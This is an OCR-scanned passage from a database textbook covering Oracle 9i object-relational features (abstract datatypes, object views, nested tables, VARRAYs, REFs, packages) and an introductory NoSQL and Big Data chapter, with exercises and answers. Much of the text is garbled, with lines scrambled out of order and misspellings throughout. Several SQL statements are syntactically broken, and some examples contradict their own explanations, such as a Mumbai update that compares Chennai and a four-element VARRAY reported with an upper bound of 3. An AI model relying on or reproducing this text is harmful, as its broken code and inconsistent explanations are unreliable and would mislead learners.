of the attributes. knowing the exact structure
A column's values cannot be inserted
or updated unless the
datatype is known and the nesting of
For example, the CUSTOMER
datatypes needed to reach it
table's city values cannot
cannot be
selected unless it is known that
and Address is part of the Person
city is part of the Address attribute
column.

Oracle/ 180
Example:
SELECT
cUENT.PERSON.ADDRESS.CITY FROM CUSTOMER CLIENT CLIENT.PERSON.NAME,
WHERE CLIENT.PERSON.ADDRESS.CITY LIKE 'M
Output:
PERSON.NAME PERSON ADDRESS. CITY
Rahul
Pune
Smita
Pune
While updating data within
abstract datatype we have to
an
refer
to its attibutes ia the Column Attributes syntax shown in the
preceding examples.
For Example:
To change the CITY value for customers who live in Mumbai
execute the following UPDATE statement:
UPDATE CUSTOMER CLIENT SET
CLIENT.PERSON.ADDRESS.CITY ="MADRAS
WHERE CLIENT.PERSON.ADDRESS.CITY "CHENNAI':
Output
2 rows updated.
Oracle will use the WHERE clause to find the right records to
update, and the SET clause to set the new values for the row's ClTY
columns.
From the above examples we see that using an abstract datatype
simplifies the representation of the data but my complicate the way in
which it is queried and worked with. The benefits of abstract datatypes
need to be weighed (more intuitive representation of the data)
access and
against the potential increase in complexity of data
manipulation. to its
While deleting data within an abstract datatype we have to refer
the
attrbutes via the COLUMN.ATTRINUTES syntax shown in
preceding examples.
For example, to delete the record for the customers who live in
Kothrud, execute the following delete statement
Example:
DELETE FROM CUSTOMER CLIENT WHERE
CLIENT.PERSON.ADDRESS.STREET = "Kothrud;
Oracle will use the where clause to find the right records to delete

Output
1 row deleted

Oracle 9i /181
OBJECT VIEWS
IMPLEMENTING
6.6
dataoase applications,
the
While implementing object-relational used. Ihen the databae.
design
are first
methods atabase
relational database
and groups
of columns can be
normalised
design is properly looked for. Abstract datahn
ypes
abstract datatype are
represented by an
columns.
Ihen tables can be creato
ed
these groups of
are created for
datatypes.
based on the abstract the order of operations is as

As shown in the previous example,


follows
ADDRESss_TY datatype.
1. Create the
using the ADDRESS TY
2. Create the PERSON_TY datatype,
datatype.
table, using the PERSON_TY
3. Create the CUSTOMER
datatype.

Views?
6.6.1 Why Use Object
to overlay Object-Oriented (00)
The need would be the ability relational tables.
such as abstract datatypes, on existing
structures, this.
a means for doing exactly
Oracle provides Object views as
and
If the CUSTOMER table already
exists, the ADDRESS_TY
views could be
PERSON TYdatatypes could be created and object
CUSTOMER table. In the following
used to relate them to the
a relational table, using
example, the CUSTOMER table is created as
only the Oracle8i/9i standard datatypes.
CREATE TABLE CUSTOMER
KEY, NAME
(CUSTOMER_ID NUMBER PRIMARY
VARCHAR2(25),
STREET VARCHAR2(40), CITY VARCHAR2(20), STATE
VARCHAR2(20), PIN NUMBER);
If another table or application that stores information about peop
and addresses is required, ADDRESs_TY can be created and applieu
to the CUSTOMER table as well.
Example
By using CUSTOMER table already created, the abstra
datatypes should be created. First, create ADDRESS_TY. Consider
that ADDRESS_TY and PERSON_TY datatypes ists.
do not already *
CREATE OR REPLACE TYPE
ADDRESS_TY AS OBJECT
(STREET VARCHAR2(40), CITY VARCHAR2(20), STATE
VARCHAR2(20), PIN NUMBER):
Oracle 182
create PERSON_T that uses ADDRESs
Next, _TY:
cREATE QR REPLACE TYPE PERSON_TY AS OBJECT
(NAME VARCHAR2(20), ADDRESS ADDRESS_TY);
Nex, create CUSTOMER_TY that uses PERSON TY:
CREAT OR REPLACE TYPE CUSTOMER_TY AS OBJECT
(CUSTOMER_ID NUMBER, PEROSN PERSON_TY);
Consider another example displaying customer column
CUSTOMER_OV.
creating the

CREATE OR REPLACE VIEW


PERSON) AS
CUSTOMER_OV (CUSTOMER_JD.
SELECT
CUSTOMER_ID, PERSON_TY(NAME,
ADDRESS_TY(STREET, CITY, STATE, PIN)) FROM CUSTOMER;
INSERT INTO CUSTOMER VALUES(1, 'Rahul, 'Kothrud', 'Pune',
Maharashtra', 411054):
INSERT INTO CUSTOMER VALUES(2, 'Smita', M.G. Rd', Pune',
Maharashtra', 411001);
INSERT INTO CUSTOMER VALUES(3, "Hansel, Darya Rd',
Ahemdabad', 'Gujarat, 3000042)
6.6.2 Using A 'Where' Clause In Object Views
Example
A WHERE clause can also be used in the query that forms the
basis of the object view. In the following example, the
CUSTOMER_OV is modified to include a where clause that limits the
object view to only displaying the customer values for which the state
column holds the value Maharashtra.
CREATE OR REPLACE VIEW CUSTOMER_OV (CUSTOMER_D
PERSON) AS
SELECT CUSTOMER_D, PERSON_TY (NAME, ADDRESS_TY
(STREET, CTIY, STATE, PIN)) FROM CUSTOMER WHERE STATE
= 'Maharashtra':

Note: When the object view CU^TOMER_OVis created, the Where


clause of the view's base query does not refer to the abstract
datatype. Instead, it refers directly to the column in the CUTOMER
table.
To create object views based on existing relational table, the ordet
of operation is:
1. Create the CUSTOMER table.
2. Create the ADDRESS TY datatype.

Oracle 9i /183
3. Create the PERSON_TY datatype, using the ADDRESs
..datatype. S_TY
4. Create the CUSTOMER_TY datatype, using the PERSON
datatype.
RSON_TY
5. Create the cUSTOMER_OV object view, using the
ined
datatypes.

6.4, 6.5,6.6 Check Your Progress


Fill in the blanks
1) Varying Arays are known a s
2) The operations that affect object are called a s
3) Abstract datatype are a part of an object oriented concept
called

6.7 BENEFITS OF USING OB.JECT VIEWS


The main benefits of using object views are
1 Object views allow creation of abstract datatypes within tables
that already exist. Since the same abstract datatypes can be
used in multiple tables within an
application, an application's
adherence to standard representation of data and the ability to
reuse existing objects can be improved.
2. Object views allow two different ways to enter data i.e. a table
can be treated as a relational
table or an object table.
Manipulating Data Via Object Views
Data in the customer table
can be inserted or
CUSTOMER_OV the object view, or the customer table updated via
can be
updated directly. Treating CUSTOMER as
performed by a normal SQL Insert just table,as data insertion
can be a

following example: command, shown in the


Example
INSERT INTO
Om archade', CUSTOMER VALUES(4, 'Alfa Technologies.
F.C. Road',
'Maharashtra', 411016):
This Insert command inserts
table. Even single record into the
a
though an object view has CUSTOME
CUSTOMER table can be treated as been created on the table, u
Since the object view
has
a
regular relational table.
data can be been created
CUSTOMER throughCUSTOMER
inserted into on the
methods used by the taoi
the construc
view.

Oracle 184
The
example shown in the
following listing
the
mtothe CUSTOMER_OV
CUSTTO
object view
inserts a
single record
DERSON_TY, using the
and
CUSTOMER_TY,
ADDRESS_TY constructor methods:
Example:

INSERT INTO CUSTOMER_OV


Engineers, ADDRESS_TY (53, VALURES(5,
OM PERSON TY(Sai
Maharashtra', 411016): Archade'. F.C.Road',
Since either method can be used
to
cUSTOMER_OV object view, the manner ininsert
which
values into the
nerforms data manipulation can be standardised. Whenthe
the
application
all based on abstract datatypes, then the same kind of inserts are
can be used, whether the abstract code for inserts
after the table.
datatypes were created before or

6.8 NESTED TABLES


An Introduction
Oracle 8i/9i allows specifying a special
Nested Table, or tables-within-tables type. This
object type known as
type is used when
the number of dependent instances of the is
type large or unknown.
An example of this is the
dependent attribute of an employee object.
Nested Table Implementation
Example
1.
Forcreating TYPE ADDRESS_TY:
CREATE OR REPLACE TYPE ADDRESS_TY As OBJECT
(STREET VARCHAR2(40), CITY VARCHAR2(20), STATE
VARCHAR2(20), PIN NUMBER);
2. For creating TYPE NAME_TY
CREATE OR REPLACE TYPE NAME_TY AS OBJECT

(NAME VARCHAR2(20), ADDRESS ADDRESs_TY):


3.
For creating TYPE DEPENDENT_TY: OBJECT
CREATE OR REPLACE TYPE DEPENDENT_TY AS
(RELATION VARCHAR2(10), NAME_TY, AGE NUMBER);
4. For creating NESTED TABLE:
a
AS TABLE OF
REATE DEPENDENT_TY;
OR REPLACE TYPE DEPENDENT_LIST

For creating TYPE EMPLOYE _INFO_TY:


AS OBJECT
REATE OR REPLACE TYPE EMPLOYE _INFO_TY
NAME_TY. SALARY
NAME
NiMPLOYE _JD NUMBER(5),

NUMBER(10.2).
Oracle 9i /185
DEPENDENTS DEPENDENT_LISTT):
DEPTID NUMBER(5),
EMPLOYEE_INFO
of the TYPE
6. For creating the TABLE

EMPLOYEE_INFO TY OFEMPLOYEE_INFO_TY

CREATE TABLE EMPLOYEE INFO


OIDINDEX OID_EMPLOYEE INFO
TABLE DEPENDENTS
STORE AS
NESTED
DEPENDENTS_TY, table type is specified
and it will
the nested
The store table for master table's table space.
attributes of the
take on the default storage
1. Inserting values the
in instead table:
EMPLOYEE_INFO
EMP VALUES(1,
INTO
INSERT
NAME_TY(Rahul',
'Pune,411016)), 8000,10,
F.C. Road',
ADDRESS_TY(Om Archade',

DEPENDENT_LIST(
DEPENDENT_TY(Brother', NAME TY(Qjas
Camp',Pune',411001)), 19),
ADDRESS_TY (M.G.RD',
DEPENDENT_TY(Mother, NAME_TY(Gaur,

ADDRESs_TY(M.G.RD', 'Camp','Pune',411001)), 40),


DEPENDENT_TY(Father, NAME_TY('Ajay',

ADDRESS_TY(M.G.RD', 'Camp', 'Pune',411001)), 42))).

values in the nested table:


2. Inserting only detail table
DEPENDENTS FROM
INSERT INTO THE (SELECT
EMPLOYEE_INFO)DEPENDS
VALUES(DEPENDENT_TY(Friend', NAME_TY(Smita',
ADDRESS_TY(M.G.RD', 'Camp',Pune',411001)), 23),
DEPENDENTS FROM
INSERT INTO THE (SELECT
employee info)DEPENDS
VALUES(DEPENDENT TY(Colleague,NAME TY(Bhagesh
ADDRESSTY(Subhash Nagar, 'Sadashiv peth', Pune',411030),24)

3. Updating values of a child record in the nested table:


FROM
UPDATE THE (SELECT DEPENDENTS
EMPLOYEE_INFO)DEPENDS
SET DEPENDS
DEPENDs.RELATION Wife WHERE
RELATION = 'Friend';

Oracle 186
Deleting values of a child record in the nested table:
DELETE THE (SELECT DEPENDENTS FROM
EMPLOYEE_INFOJDEPENDS
WHERE DEPENDS.RELATION 'Colleague'; =

6.9 VARIABLE ARRAYS

A varying array allows the storing of repeating attributes of a


record in a single row.For example,
consider a table that stores
company information such as the
company name and address. One
company can have multiple addresses.
Example
CREATE TABLE
cOMPANY_INFO(NAME
ADDRESS VARCHAR2(1000); VARCHAR2(40),
Since one
company can have multiple addresses, the
name wil have to be repeated for all the addresses it has, company
name will be same for all the different records.through the
6.9.1 Creating A Varying Array
A varying array can be created based on either an abstract
datatype or one of Oracle's standard dataypes (such
as NUMBER).
While using varying arrays, the
datatypes
column. If multiple columns are used in an
can consist of only one
array, we use nested
tables.
The
COMPANY_ADDRESS_TY abstract datatype has one
attribute, ADDRESs. To use this datatype as part of a varying array in
the COMPNAY_INFO table, a decision needs to
be made on the
maximum number of addresses per company. In this
assume that no more than four addresses per company wll be
example,
stored.
To create the varying array, use the AS VARRAY() clause of the
CREATE TYPE command.
Example
CREATE TYPE COMPANY_ADDRESS TY AS VARRAY(4) OF
VARCHAR2(1000):
This statement creates
type called
a VARRAY
COMPANY_ADDRESS_TY, which can hold a maximum of 4
elements of data-type VARCHAR2(1000), L.e. 4 entries per record,
each storing address information for the company.

FI3 Oracle 91 1187


COMPANY_ADDRESS_TY isis cre
created
Now that the varying array
creation of either
a table or an abst.Arac
this can be used as part of the
datatype.
Example
CREATE TABLE COMPANY_INFO(
COMPANY_NAME
VARCHAR2(40). ADDRESS
COMPANY_ADDRESs_TY):
statement creates a
table called COMPANY_INFO, whieh
This SQL that is a VARRAY
object called ADDRESS
contains an embedded
type COMPANY_ADDRESS_TY.

Describing the Varying Array


will contain record for each
one
The COMPANY_INFO table
has multiple addresses. The multiple
company, even if that company
addresses will be stored in
the address column, using the
COMPANY_ADDRESS_TY varying array.

Example
DESC COMPANY INFO;
Output
Name Null? Type

COMPANY_NAME VARCHAR2(40)
ADDRESS COMPANY_ADDRESS_TY
The USER TAB_COLUMNS data dictionary view is used to see
information about the structure of the Address column.
Example
SELECT cOLUMN_NAME, DATA_TYPE FROM
USER_TAB_COLUMNS
WHERE TABLE_NAME "COMPANY_INF0:
=

Output
COLUMN NAME DATA TYPE

COMPANY_NAME VARCHAR2
ADDRESs
From the COMPANY_ADDRESs_TY
address columnUSER_TAB_COLUMNS output, it is seen
the

its datatype.
uses the
COMPANY ADDRESS TY varying tna
ar
as

The USER_TYPES data


dictionaryasview can be querled
datatype COMPANY_ADDRESS_TY e the

Oracle 188
x a m p l e :

SELECT YPECODE, ATTRIBUTES FROM USER_TYPESs


WHERE TYPE NAME='COMPANY ADDRESS TY

Output:
NPECODE ATTRIBUTES

COLLECTION

The USER TYPE output shows that COMPNAY_ADDRESS_TY


s a attributes.
collector, with no

USER COLL_TYPES
The USER COLL TYPES data dictionary view can be queried to
see the characteristics of the Varying array, including the upper limit to
the number of entries it can contain per record and the abstract
datatype on which it is based.
The USER_COLL_TYPES data dictionary view can be queried to
see the data type COMPANY ADDRESS_TY as:
Example
SELECT TYPE_NAME, COLL_TYPE, UPPER_BOUND FROM

USER COLL_TYPES.
WHERE TYPE_NAME = 'COMPANY_ADDRESS_TY:

Output
COLL_TYPE UPPER_BOUND
TYPE NAME
COMPANY_ADDRESS_TY VARYING ARRAY 3

Data Manipulation
insertion of data into thetable.
We see below the example of

Example
VALUES ('Alfa Technologies',
INSERT INTO COMPANY_INFO
F.C. Road, Pune,
cOMPANY_ADDRESS_TY ('15, OM Archade,
16', NULL, NULL)); International:
COMPANY INFO
VALUES ('Swami
INSERT INTO
Plot No. 17, Gokul
17, Goku
COMPANY_ADDRESS_TY('Vrindavan,

OFF Poud Road, Pune 411038)


Nagar, M,I.T. Road, uses the system-
see that each Insert statement
Here we
VARRAY called
constructor for the
generated statement only
Also, the first insert
COMPANY_ADDRESS_TY.

Oracle 9i /189
inserts address of data but two of the
one
VARRAY elements
ts are nu,
the second inserts three values for address.

6.10 REFERENCING OBJECTS

data type) is new to oracle This


The Referencing object (REFs also
acts as a pointer to an object.
A REF can als in a
be used in
data type REF primari
IS used
a RDBMS. A imarily
manner similar to a foreign key in
and to allow the user to select that obiect
to store an object identifier
two object tables, in tho
REF's establish relationship between
primary-key/foreign-key relationship
in relatin
same way as a
than one table is
have difficulty if more
tables. Relational tables
relationship related to a sinde
needed in a primary-key/foreign-key
ADDRESS table, that stores addresses from
table. For example, an
we can eliminate this problem
several entities. If we use REF's
accessible object table.
because an unscoped REF can refer to any
A SCOPE clause in a definition forces a set of REFs for a given
column to be confined to a single object table.
For a given REF
column there can be one REF clause. REF scope can be set at
only
either the column or table level.
REF values can be stored with or without a ROWID. If we store a

REF with a ROMD we get more speed for de-referencing operaros


but it takes more space. If WITH ROWID is not specified with the REF
dause, the default is to not store ROWIDs with the REF values
SCOPE clauses prevent dangling references, as they will not alow
REF values unless the corresponding entries in the SCOPE tabe
present.
We can add REF columns to nested table with the ALTER BLE
command.
TAB
A call to a REF returns the OID of the object instance. An OlD is a

128-byte base-64 number, it is useful only as a handle


handle to tnthe objec
instance. To get the value stored in the
instance that is referredto
DEREF returns values in e Ojec
REF, the DEREF routine is used. bject

instance referenced by a
specific REF value.
Example For The Use OF REF

1. For creating a TYPE object:


CREATING TYPE DEPT_TY AS
OBJECT
(DNAME VARCHAR2(90), ADDRESS
Oracle/ 190 VARCHAR2(150
Output
Type created.

2. For creating a TABLE object using the above TYPE object

CREATE TABLE DEPT OF DEPT TY:


Output
Type created.

3. For creating a TABLE object that references to the TYPE object


and also specifies the SCOPE:
CREATE TABLE EMP
ENAME VARCHAR2(90), ENUMBER NUMBER, EDEPT REF
DEPT TY SCOPE IS DEPT);
Output
Type created.

4. For inserting values in the DEPT table


INSERT INTO DEPT VALUEs(DEPT_TY(Production', 110 Karve
Road)
INSERT INTO DEPT VALUES(DEPT TY(Sales', '41 Somwar Peth')
Output
1 row created.
1 row created.

5. For viewing the DEPT table:


SELECT FROM DEPT;
Output
DNAME ADDRESS

Production 110 Karve Road


Sales 41 Somwar Peth

6. For viewing the REF from the DEPT


SELECT REF(D) FROM DEPT D;
table
Output

Oracle 9i /191
D

0000280209A656BEEF11D1AD5B0060972CFBABA656BEEE118811
D1AD5BO060972CFBA8008000C10000
0000280209A656BEEF11D1AD5B0060972CFBA8A656BEEE11B811
D1AD5B0060972CFBA8008000C10001

into the EMP table for an employee in Sales


7. For inserting a row

department
SELECT 'Sumeet Rao', 1, REF(d) FROM DEPT
INSERTINTO EMP
D
WHERE D.DNAME='Production';
Output
1 row created.

8. For viewing records from the EMP table:


SELECT FROM EMP:
Output
ENAME ENUMBER EDEPT

Sumeet 1
0000220208A656BEEF11B811D1AD5B0060972CFBA8A656BEEE11D1AD5B006097

2CFBAB
9. For viewing ENAME, ENUMBER and the details of EDEPT
column of the EMP table using the DEREF routine
SELECT ENAME, ENUMBER, DEREF(EDEPT)FROM EMP:

Output
ENAME ENUMBER DEREF (EDEPT) (DNAME, ADDRESS)

Sumeet Rao 1 DEPT_T (Production', 110 Karve Road)

6.7, 6.8, 6.9, 6.10 Check Your Progress


Fill in the Blanks
1) Tables within tables called as
2) A is used primarily to store an
objectidentifier.
3 clauses prevents dangling references.

Oracle 192
6.11 INTRODUCTION TO ORACLE PACKAGES
A Dackage is an oracle
object, which holds other objects within
it Objects commonly held within a
functions ,variables ,constants ,cursorspackage
are procedures
and exceptions. The
used to create a package is SQL'Plus. It is tool
way of creating
generic,encapsulated ,reusable code.
A package once written and debugged is
compiled and
oracle's system tables held in an oracle database. stored in
have execute All users who
permissions on the oracle database can
then use
the package
Packages can contain PL/SQL blocks of code, which have
written to perfom some process been
entirely on their own. These
PUSQL blocks of code do not require kind of input from other
PUSQL blocks of code. These are any
the package's standalone
subprograms.
Alternatively, a package can contain a subprogram that requires
input from another PL/SQL block toperform its programmed
processes successfully .These are also subprograms of the
package but these subprograms are not standalone.
Subprograms held within a package can be called from other
stored programs, like
triggers pre
Interactive oracle program like SQL*Plus.compilers
or any other

Unlike the stored programs ,the


package itself can not be
called.passed parameters to or nested.
Componenets
A
of AAn Oracle Package
package has usually two components , a specification and a
body. A package's specification declares the types(variables of
the Record type) ,memory variables constants, exceptions
,

,cursors and subprograms that are available for use. A


package's
body fully defines cursors, functions and procedures and thus
implements the specifications.

Why Use Packages ?


Packages offer the following advantages
1. Packages enable the organization of commercial applications
into efficient modules. Each package is easily understood and
the interfaces between packages are simple, clear and well
defined.
2. Packages allow granting of privileges ef iciently.
3. A package's public variables and cursors persist for the
duration of the session. Iherefore all cursors and procedures
that execute in this environment can share them.
4. Packages enable the overloading of procedures and
functions when required.

Oracle 9i /193
. Packages improve performance by loading muliple objects
calls to related
into memory at once. Therefore subsequent
no l/O
subprograms in the package require the use libraries that
6. Packages promote code reuse through
of
functions ,thereby reducing
contain stored procedures and
redundant coding.

Package Specification
contains
The package specification
-Name of the package
-Name of the data type of any arguments and global to the
declaration is local to the database
This
package that procedures ,functions,
variables ,constants
This means
declared in a package
and exceptions and other objects
,cursors Therefore all the
are accessible from
anywhere in the package. is
execute a stored subprogram,
infomation a package needs ,to
contained specification itself.
in the package
Example creation specification. In
The following is the example of package
declares a function and a
this example, the specification
procedure.
CREATE PACKAGE BNK_PCK_SPEC
IS
F_CHKACCTNO(VACCT_NO IN VARCHAR2)
FUNCTION
RETURN NUMBER
PROCEDURE PROC_INSUPD(VFD_NO
INN
IN VARCHAR2,VACCT_NO IN VARCHAR2,VAMT
NUMBER;
END BNK_PCK_SPEC;
Output:
Package created.

Thepackage Body
The body of the package contains the definition of public object
that are declared in thee specification. The body can also contain
other object declarations that are private to the package. Ine
objects declared privately in the package body are not accessI
other objects outside the package. Unlike package specificatio
,the package body can contain subprogram bodies.
After the package is written ,debugged ,compiled and stored inn
the database applications can reference the package's types, ca
its subprograms ,use its cursors ,or raise its exceptions.
Alterations to an existing package
To recompile a package use the ALTER PACKAGE command
with the compile keyword. This explicit recompilation elimina
the need for any implicit run time recompilation and
prevents a
associated runtime compilation errors and performance overhead
-

Oracle/ 194
Mis common to explicitly comple a package after modifications to
the package.
Recompiling a package recompiles all objects defined within a
nackage. Recompiling does not change the definition of the
nackage or any of its objects. This statement recompiles the
package specification.
Syntax:
ALTER PACKAGE <PackageName> COMPILE PACKAGE
The following example recompile just the body of a package.
Example:
ALTER PACKAGE TRANSACTION_MGMT COMPILE BODY;
Output:
Package body altered.

6.12 Summary

Grant command is used to give permissions to user and revoke


command is used to revoke permissions from user. Upgraded oracle
9i consists of three different types Relations, object relational and
Object Oriented.
Oracle has different types of objects abstract datatype, nested tables,
convention is the feature of
varying arrays and large objects. Naming
look into the table.
objects. View is the window through which we can
We can create a view using create command. Oracle 8i / 9i allows
as Nested labels or table within
specifying a specia object type known
This type is act as pointer
tables.Referencing object is new to oracle.
used in a manner similar to
to an object. A reference can also be
foreign key RDBMS.

6.13 Check Your Progress-Answers


6.1,6.2,6.3
1. An object oriented

2. Data and the methods


3. Internet
6.4,6.5,6.6
1) VARRAYs

2) Methods
3) Abstraction

6.7, 6.8,6.9,6.10
1) Nested Tables

2) REF
3) SCOPE

Oracle 9i /195
6.14 QUESTIONS FOR SELF STUDY
Q.1. Create the table described below:
Table Name SALESMAN_MASTER
Description : Used to store information about products.
Column Name Data TypeSize Default Attributes
SalesmanNo Varchar2 5

SalesmanName Varchar2 15

Address Address_Ty
SalAmt Number 10.
2

SaleTrgt Number 8.2


SaleAchvd Number 8.2

Remarks Varchar2 50

nsert the following data into their respective tables.

a) Data for SALESMAN_MASTER table:


Salesman Name Addr Address 2 City PinCod State
No ess1
SO001 Raj 51 Kothud Pune 400054 Maharashtra
SO002 Sachine B/7 Varaje Pune 400015 Maharashtra
so003 Amit F-4
FatimaNagarPune 400001 Maharashtra
S0004 KunalC4 Bibawewai Pune 400037 Maharashtra

SalesmanNo SalAmt TgtToGet YtdSales Remarks


S0001 4000 100 50 Good
SO002 4000 200 100 Good
SO003 4000 200 100 Good
S0004 4000 200
150 Good

Oracle 196
Create type Address_Ty consisting of the following columns
Type Name : Address_Ty
Column Name Data Type
Size
Address 1 Varchar2 25
Address2 Varchar2 25
City Varchar2 15
PinCode Number 8
State Varchar2 10

4. Exercise on retrieving records from a


table.
a) Retrieve the list of city and state from
Sales_Master.
b) Change the city value for salesman who live in
Pune to
Nagapur.
c) Delete the record for the salesman who live in
Nagapur.
5. Create type objects as described below
a) Create type Dependent_Ty consisting of the following columns
Type Name : Dependent Ty

Column Name Data Size


Type
Relation Varchar2 20
Age Number
b) Create nested table Dependent_List consisting of Dependent_Ty
c) Create type Salesman_info_ty with the following columns
Type Name: Salesman_infopty
Column Name Data TypeSize
ID Number 5

Name Varchar2 25

Dependents Dependent_List
d) Create tie TABLE Salesman_info of the TYPE
Salesman_info_ty

Oracle 9i /197
Chapter:7
NOSQL

7.0 Objectives
7.1 Introduction
7.2 NOSQL Database
7.3 Database Features of
N0sQL
7.4 Why NOSQL?
7.5 Types of NOSQL
7.6 Structured vs
Unstructured Data
7.7 Comparative
study of SQL and NOSQL
7.8 What is the CAP Theorem?
7.9 NOSQL Data Model
7.10 Introduction to Big Data
-
Check Your Progress Answers
-

7.0 Objectives
After studying this chapter you will be able to-
Explain need of NOSQL
Features of NOSQL
Why to use NOSQL

7.1 Introduction
This chapter introduces you to the concept of NosQL. It
also describes concept of Big Data.

7.2 NoSQL Database


Relational databases have been used for decades, and in
the last few years NoSQL has been a growing choice for large

NOSQL 199
databases provide the
Scale web applications. Non-relational
application,
Scale and speed that you may need for your
Management System.
NoSQL is a non-relational Database
distributed data stores with
NoSQL database is used for
needs. NoSQL is used
for Big data
humongous data storage
It is designed for distributed data
and real-time web apps.
needs. These
stores where large scale of data storing
very
fixed schema, avoid join
types of data storing may not require
operations and typically scale horizontally.
Only SQL" or "Not sQL" or
NoSQL database stands for "Not
"Not Structured".

7.3 Database Features of NoSQL


NoSQL Databases can have a common set of features

such as:
Non-relational data model.
Runs well on clusters.
Mostly open-source.
Built for the new generation Web applications.

Is schema-less.
Key-Value pair storage, Column Store, Document Store,
Graph databases
Eventual consistency rather ACID property
Unstructured and unpredictable data

7.4 Why NoSQL?


With the explosion of social media, user-driven content has
grown rapdly and has increased the volume and type of data
that is produced, managed, analyzed, and archived. In
addition, new sources of data, such as
sensors, Global
Positioning Systems or GPS, automated trackers, and other
monitoring systems generate huge volumes of
data on a
regular basis.
These large volumes of data
sets, also called big data, have
introduced new
challenges and opportunities for data storage,
management, analysis, and
archival. In addition, data is
becoming increasingly
semi-structured and sparse. 1n
NOSQL/ 200
ROBMS databases which require
shat RD
means that
upfront schema
finition and relational references are examined.
To resolve the problems related to large-volume and semi-
efructured
structured data, a class of new
database products has
erged. These
emerged. The new classes of database products
consist of
olumn-based ata stores, key/value pair
databases, and
dOCument databases. Together, these are called NoSQL. The
NoSQL database consists of diverse products with each
oroduct having unique sets of features and value propositions.

7.5 Types of NoSQL


There are four basic types of NoSQL databases.
1. Key-Value database
Key-Value database has a big hash table of keys and
values.
Ex- Riak, Tokyo Cabinet, Redis server, Memcached, and
Scalaris are examples of a key-value store.

2. Document-based database
Document-based database stores documents made up of
tagged elements.
and RavenDB
Ex- MongoDB, CouchDB, OrientDB,
.

3. Column-based database
data from only one column.
Each storage block contains
Ex-BigTable, Cassandra, Hbase, and Hypertable

Graph-based database database that


uses

graph-based database is a network

represent and store data.


nodes to
Infinite Graph, and FlockDB.
Neo4, InfoGrid,
Unstructured
Data
1.6 Structured vs unstructured.
and
Data De structured,
semi-structured,

uch
Sructured Data into a
nicely
of data that fits
quantitative data- is the type and easily
elati
relational database. It's highly
organized

NOSQL I201
analyzed.
comprised of eariy defined data types whose
makes them easily searchable pattern
Ex- Dates, Phone numbers, ZIP codes, Customer names
n
It's inherent structure andoderliness makes it simn
query and analyze. Common applications that rah
imple to
y on
ude CRM,
structured data in relational databases include CRM, ER
ERP
and POS systems.

Unstructured Data
Unstructured data has internal structure but is not
structured via pre-defined data models orschema.
It may be textual or non-textual, andhuman- or machine.
generated. It may also be stored within a non-relational
database like NoSQQL
E x - Text files, media files, satellite images, sensor data.

Semi-structured Data:
Semi-structured data is information that does not reside in
a relational database but that have some organizational
properties that make it easier to analyze.
With some process, you can store them in the relation
database
.Ex-XML data
Many Big Data solutions and tools have the ability to 'read
and process either JSON or XML. This reduces the
to
complexity to analyse structured data, compared
unstructured data.

7.7 Comparative study of SQL and NosQL

SQL NoSQL
SQL is primarily as Relational NoSQL is on-relational or
Databases (RDBMS) distributed database.
table based databases document based, key-value

pairs, graph d a t a b a s e s of
wide-column databases
NOSQLI 202
have predefined schema have dynamic schema for
unstructured data.
vertically Scalable
horizontally scalable
hest suited
best suited for
complexnot so good for complex
queries
queries
not suited for hierarchical best suited for hierarchical
datastorage data storage
sQL databases emphasizes NoSQL database follows the
on ACID properties Brewers CAP theorem
(Atomicity, Consistency, (Consistency, Availability and
Isolation and Durability) Partition tolerance)
Ex- MySq Oracle, Sqlite, MongoDB, BigTable, Redis,
Postgres and MS-SQL RavenDb, Cassandra,
Hbase, Neo4j and CouchDb

7.8 What is the CAP Theorem?


CAP theorem is also called brewer's theorem. It states that
is impossible for a distributed data store to offer more than two
out of three guarantees
1. Consistency
The data should remain consistent even after the execution
of an operation. This means once data is written, any future
read request should contain that data. For example, after
updating the order status, all the clients should be able to see
the same data.

2. Availability
The database should always be available and responsive.
It should not have any downtime.

3. Partition Tolerance
Partition Tolerance means that the system should continue
to function even if the communication among the servers is not
stable. For example, the servers can be partitioned into
other.
multiple groups which may not communicate with each
Here, if part of the database is unavailable, other parts are
***

FI4 NOSQL/ 203


always unaffected.

7.9 NoSQL Data Model


1. Denormalization
Denomalization can be defined as the copying ofthe same
data into multiple documents or tables in
in ordar
order to
simplify/optimize query processing or to fit the user's data into

a particular data model.


Using denormalization one
can group th
toall data that is needed
process a query in one place. This often means that for
different query flows the same data will be accessed in different
rent
combinations.
Modeling-time normalization and consequent query-time
joins obviously increase complexity of the query processor,
Denormalízation allow one to
especially in distributed systems.
store data in a query-friendly structure to simplify query
processing.

2. Aggregates
All major genres of NoSQL provide soft schema capabilities
in one way or another
Key-Value Stores and Graph Databases typically do nat
place constraints on values, so values can be comprised o

arbitrary fomat. It is also possible to vary a number of recods


for one business entity by using composite keys.
BigTable models support soft schema via a variable set o
columns within a column family and a variable number or

versions for one cell


Document databases are inherently schema-less, althougr
some of them alfow one to validate incoming data usinga User

defined schema.

3.
Application Side Joins
Joins are
rarely supported are

in NosQL solutions.
often handled at design time Joulsmo

where joins are


handled at
as
opposed relauo
to nal
time
time
query execution time.

NOSQLI 204
.almost always mean a performance penalty, but in many
joins
cases one can avoid joins using Denormalization and
Aggregate i.e. embedding nested entities. Of course, in
many cases joins are inevitable and should be handled by an
application. The major use cases are:
Many to many relationships are often modeled by links and
require joins.
Aggregates are often inapplicable when entity internals are
the subject of frequent modifications. It is usually better to keep
a record that something happened and join the records at
query time as opposed to changing a value.

7.10 Introduction to Big Data


The term Big Data refers to all the data that is being
generated across the globe at an unprecedented rate. This
data could be either structured or unstructured. Today's
business enterprises owe a huge part of their success to an
economy that is firmly knowledge-oriented.
Data drives the modern organizations of the world and
hence making sense of this data and unraveling the various

patterns and revealing connections within the vast sea


unseen
of data becomes critical and a hugely rewarding endeavor
indeed. There is a need to convert Big Data into Business

Intelligence that enterprises can readily deploy. Better data


to
leads to better decision making and an improved way
of their size,
strategize for organizations regardless
geography, segmentation and such
market share, customer
is the platform of choice for
other categorizations. Hadoop
volumes of data.
working with extremely large
characteristics and hence is defined
Big Data has certain
using 4Vs namely:
Volume : the amount of data
that businesses can collect is
enormous and hence the
volume of the data becomes a
really
critical factor in Big Data analytics.

Velocity: the rate at which new data is being generated all


thanks to our dependence on the internet, sensors, machine

NOSQL 205
to-machine data is also important to parse Big Data in a timely

manner.
Variety the data that is generated is
completely
completely

heterogeneous in the sense that it could be


in formatsvarious

data and so on and


nke video, text, database, numeric, sensor
Data is a key factor to
hence understanding the type of Big
unlocking its value.
that is available is coming
Veracity: knowing whetherthe
data

from a credible source is of utmost importance before


and implementing Big Data for business needs.
deciphering

References
Databases: NoSQL, Big Data
1. Next Generation
Publication
